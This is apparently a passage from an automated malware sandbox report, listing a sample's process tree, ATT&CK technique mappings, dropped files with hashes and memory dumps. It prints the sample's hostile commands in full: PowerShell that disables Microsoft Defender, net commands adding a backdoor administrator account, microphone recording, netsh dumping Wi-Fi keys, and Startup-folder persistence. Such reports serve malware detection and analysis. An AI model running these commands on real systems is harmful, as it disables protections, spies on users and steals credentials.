      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:7412
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216626955776385.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6296
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:6140
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6392
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:6856
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6800
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:552
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:2812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216626974902455.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10172
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:10536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:2076
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:4832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3272
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:6176
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6712
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:6560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216626960370068.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8948
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 32B
SHA256 f618674c204bd419ed7aa43bb12903b00b32915bf15e71a44abcfe7a4df2606c
MD5 7896b8da71a80962175b4e6a205472ed
SHA1 245f228df6a382d0102e1ce93e36b3133b83f4a5
SHA512 d0a3ba4f9a6b63e11e2f4af103aac7f8e64cf0e76c785cd4e9b45bfca3e9eae879e41aa4756e1af5dab2a4874f2602b348a15d8375d919d6b3764300bc359b22
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 32B
SHA256 5b216184722f9b7a5eb921b4104ad92e5fe14b06e7db0a0437fff969ce0f5a7f
MD5 2f2a79158882fe32d6e75bdee7cdd8f8
SHA1 6440f1d2b73e150ca5ea35f157f961b8747fd587
SHA512 fe0c6e2473b5f528ee5f694bbbffe30d7f15bc2ad8b70631042c4b6683a0e99dd0e90f7f89f82f5617e876baff0630d1afb91a4806c714aadddd497c701a37c9
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 32B
SHA256 310cf7d9634892f0073a66f1bebf5f4e301c5e11465fcfd1ace22b2ec5cfdc03
MD5 d628ec63c161aefd63f7d767054d90c3
SHA1 22e900965b07c5ce66f125f99417ac058c0c3ca7
SHA512 efd53d9375fe2d4932c8f2e5e1bf29a419c8073314269d85f3668fb7ae4ea46cdc1fdb9d855456aa83be5db1d27418c28e2d16f8522ebcd08cebeb511b7724a3
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 32B
SHA256 a2f256e7e99604b7df3dd062f82894d80588f515c660011bbc24b8d91ce385c8
MD5 39288243829d1d429145c8ab4c86e6ab
SHA1 a0d17a3cb334405b17a3d02ed8705f668214f874
SHA512 551f1a6d30390018af1950cb88148f42001a6316bfd8d9271ff0d1b3be1a039a689741c38f00f2319f1d8a2718a587e05cd072b517ab42201aa7513f714e7260
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 32B
SHA256 898c0ed435d7d3b5b3d4f4609348231f1c79c312031e69b74eeaacf84378b36d
MD5 37e8f974788c523ca67d0b28bd659675
SHA1 fa472ca80bcf558877ef28823686343788035e62
SHA512 c9ee9ee5ca8c42d242cd27ed66da9534c17d9cb7d840ee8d811e49d859b3699e22ec415cfcc241aeea8f4db1b3348875c0714896472f42f8e459eb1835303477
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 32B
SHA256 395f651862a3ca9fa935db10f5902bd9e46c10f6e388d2e5cd726a77019ebce2
MD5 0bdce9b4d1b4deeb0dc11baa97dd6593
SHA1 c18807df6fa9af9783f024d318191176e7f331d2
SHA512 8946fc5013d8c5e7a65a7c73395da3f32c9f838865e54f376ef60a1a11187f91d3ccaadd227a096eed3350a519e537951c80385fe9d87982a28e7b327ed8c9a0
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 32B
SHA256 0393f63bf604dfaa6cb1e5c408d07ae7dc22649181933ca0a23e5a983efbcc50
MD5 f666d3e09ff8639033e1dff4c70b897d
SHA1 75da27ad29928c4a6919b361aed91a5b5b926ee2
SHA512 5df1f50d1c4a60456e98505ad55fa7308f91c785c780e42a052a9aa6b9f6e7feb7980a2e83750587f88fd5117475017460a34605ede695d7085283138809a608
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 32B
SHA256 30f2a39c7c55cd9f0fc6b015b8b451dcbc5e2e688c292f62d4ee21a97c0f3616
MD5 b9eb574e6fea1ba17160cf3e51800b72
SHA1 ea5413f596fbace30f0c08621a47c085a37350f7
SHA512 3e0e9feea0d8475eef27c1a7611497109166782ab1f0b1fead7d79db2d49b85460827531fb78574cc14a3ee9429edb57b18a905d3f6488fcd8a158453a826b55
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 66KB
SHA256 52d20d516b97766d26d0d93c36aeab4b0a9491060d6588ab082c834383139c18
MD5 aec892d2e247fd1a7e785ef2e524daf9
SHA1 fc41740ec8434cc45753f9bbc853545cdf377a9b
SHA512 fe0130d0c326a600d18b6dc8419b0ec80c1040491ecc186446ebb3498538972c90c18d4a6eb644b7f0994be1da55da2d90efbf1b7ca4579f18eff1a7eb3763f8
SSDEEP 1536:VKLg07Yo2hkovpfKQVAflJdpHYWh4iUxpR40i71YigMQyPcMrxoV3CNBQkj2Va5V:VKLg07Yo2hkovpfKQVAflJd9YWqiUpR6
TLSH
T166636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

223e3fb3-13af-4bee-a36c-28c15b79cf92.inf

Path C:\Users\Admin\AppData\Local\Temp\223e3fb3-13af-4bee-a36c-28c15b79cf92.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

7e61bb07-83aa-4d4c-a591-01cb2cbfa4cb.inf

Path C:\Users\Admin\AppData\Local\Temp\7e61bb07-83aa-4d4c-a591-01cb2cbfa4cb.inf
Size 169B
SHA256 6e2b44af24a128c6692c4ed2d40c14c6bc50afeb993c8f85a800b5af7196380d
MD5 e41cdf49b5e12240876a57bc8e6bcc26
SHA1 7ed87380a8b655735e261dcb48ed1e73f0a25d4c
SHA512 8e3455ae7d8440f9b51d61e32f419675cca1133ab0604e3c8054b3a8b366698e6027ef51e6481549d7897b18009be8201d72bc37f03213a3e8158c05248074a1
TLSH
T178C080C4C5F596B506457C73153B02D84DB2C5053D85571C50F5E956479540562D323D
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3ln1vrgg.qri.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ln1vrgg.qri.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 25KB
SHA256 bf62e2237bc6fa39b46ed04725f76cd878dc8b4b03df0b53b791bdc1f994e997
MD5 85fada9d283dbbed4714452259b2b462
SHA1 7409561fbef21ab659b528d720e55637740709e1
SHA512 f67f0e28170571d13f544b4eec79e94b0a510fb6580b882de460ffeb1059851243d604b655beb0b5d95c5d7e493d512e4edfb366833ea79dc76266a6ee2e2a17
SSDEEP 384:x+TshrmS6qtHcKv0sPg988zu+SD+dhpl4+FI5Ux94TGwNYM8G+H+Fz9yS5W5x//6:wIhftVv9PgLXmyIy9yqM8zSBySA//
TLSH
T12DC2F74177FCC229E0FF5BB65D7257008775B84B8E16CA0D0EE9848E1E77B044AA4BE2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\A496C7E9-F87C-4C44-855F-FC09959831DC\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\A496C7E9-F87C-4C44-855F-FC09959831DC\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

WindowsUpdate.bat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat
Size 75B
SHA256 90ff433131b6827caf7a54ba71dc78317568430c27f73fdcabd9ec3fc1655d25
MD5 0bad7ddd0f6fec1bec468099e1f776c7
SHA1 6b30160d9160d868999e8b1f9cd76538571fadf7
SHA512 b4dc40b394a892c6a26f4aab58d5d49536400aabb238981f6652899b75bd5bde42e2463b250038d9eacfef0ba352ffec94fda28bc8a922423d8ed35f370beea5
TLSH
T1C1A024014DC7455F04000C0304F111CCF074041D1DC0FF10C107C40C1FC301770C5101
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2164-354-0x000002029E210000-0x000002029E21A000-memory.dmp

Download

memory/5292-346-0x000002567A9C0000-0x000002567AA72000-memory.dmp

Download

memory/5292-345-0x000002567A9A0000-0x000002567A9BE000-memory.dmp

Download

memory/5292-67-0x000002567A7D0000-0x000002567A7F2000-memory.dmp

Download

memory/5776-239-0x00007FF908960000-0x00007FF909304000-memory.dmp

Download

memory/5776-33-0x00007FF908960000-0x00007FF909304000-memory.dmp

Download

memory/5776-338-0x00007FF908960000-0x00007FF909304000-memory.dmp

Download

memory/5776-34-0x00007FF908960000-0x00007FF909304000-memory.dmp

Download

memory/5776-38-0x00007FF908960000-0x00007FF909304000-memory.dmp

Download

memory/5776-0-0x00007FF908AEF000-0x00007FF908AF0000-memory.dmp

Download

memory/5776-31-0x00007FF908960000-0x00007FF909304000-memory.dmp

Download

memory/5776-25-0x00007FF908960000-0x00007FF909304000-memory.dmp

Download

memory/5776-1-0x0000000000E00000-0x0000000000E0C000-memory.dmp

Download

memory/5776-463-0x00007FF908960000-0x00007FF909304000-memory.dmp

Download

memory/6560-457-0x0000023132ED0000-0x0000023132ED1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads